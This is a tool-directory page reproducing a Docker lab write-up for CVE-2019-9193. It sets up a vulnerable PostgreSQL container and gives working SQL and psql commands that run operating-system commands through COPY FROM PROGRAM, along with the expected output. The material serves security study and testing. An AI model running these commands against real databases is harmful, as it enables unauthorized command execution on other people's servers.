Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2019-9193byVulHub — Docker-based lab demonstrating CVE-2019-9193 PostgreSQL arbitrary command execution via COPY FROM PROGRAM, with step-by-step PoC for security testing and education. | Kitploit
Tools/GitHubGitHub/corsisechero/cve-2019-9193byvulhub
Vulnerability AnalysisExploitationPenetration TestingLearning & EducationDatabase SecurityLabs & Practice
GitHubcorsisechero/cve-2019-9193byvulhub

CVE-2019-9193byVulHub

Docker-based lab demonstrating CVE-2019-9193 PostgreSQL arbitrary command execution via COPY FROM PROGRAM, with step-by-step PoC for security testing and education.

View Repository
51 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2019-9193byVulHub


PostgreSQL Arbitrary Command Execution with Admin Privileges (CVE-2019-9193)

Description

PostgreSQL is a powerful open-source relational database management system. A vulnerability present in versions 9.3 through 11 allows administrators or users with COPY TO/FROM PROGRAM privileges to execute arbitrary commands on the system.

References:

  • GitHub - Vulhub - PostgreSQL CVE-2019-9193
  • Greenwolf Security - Authenticated Arbitrary Command Execution on PostgreSQL 9.3 - Latest

Environment Setup

Docker Compose file ()

docker-compose.yml

Create a file named docker-compose.yml with the following content:

root@kitploit:~
version: '2'
services:
 postgres:
   image: vulhub/postgres:10.7
   ports:
    - "5432:5432"
   environment:
    - POSTGRES_PASSWORD=postgres

Starting the PostgreSQL container

Run the container with the following command:

root@kitploit:~
docker compose up -d

Verify that the container is running:

root@kitploit:~
docker ps

The output should show the PostgreSQL container listening on port 5432.


Executing the Exploit Without Entering the Container

1. Installing the PostgreSQL Client

If you don't have the psql client installed, you can do so with:

  • Kali:
    root@kitploit:~
    apt-get install postgresql-client
    

2. Connecting to the Database from the Command Line

Connect to the database directly from Kali:

root@kitploit:~
psql -h localhost -p 5432 -U postgres

You will be prompted for the password, enter:

root@kitploit:~
postgres

3. Executing the PoC (Proof of Concept)

Once connected to the PostgreSQL console, execute the following commands to exploit the vulnerability:

root@kitploit:~
-- Drop the table if it exists
DROP TABLE IF EXISTS cmd_exec;

-- Create a new table to store the command output
CREATE TABLE cmd_exec(cmd_output text);

-- Execute the 'id' command via COPY FROM PROGRAM
COPY cmd_exec FROM PROGRAM 'id';

-- View the command output
SELECT * FROM cmd_exec;

4. Executing the Command from the Command Line (Without Interactive Shell)

You can execute everything directly from the command line:

root@kitploit:~
psql -h localhost -p 5432 -U postgres -c "DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec;"

Output Verification

If the exploit succeeded, you should see output similar to:

root@kitploit:~
       cmd_output
-------------------------
 uid=999(postgres) gid=999(postgres) groups=999(postgres)
(1 row)

Exiting the PostgreSQL Console

Press \q to exit:

root@kitploit:~
\q

Security Notes

This vulnerability allows arbitrary command execution with administrative privileges. Use it only in controlled environments for study or testing purposes. Exploiting this vulnerability on unauthorized systems is illegal.

Download Tool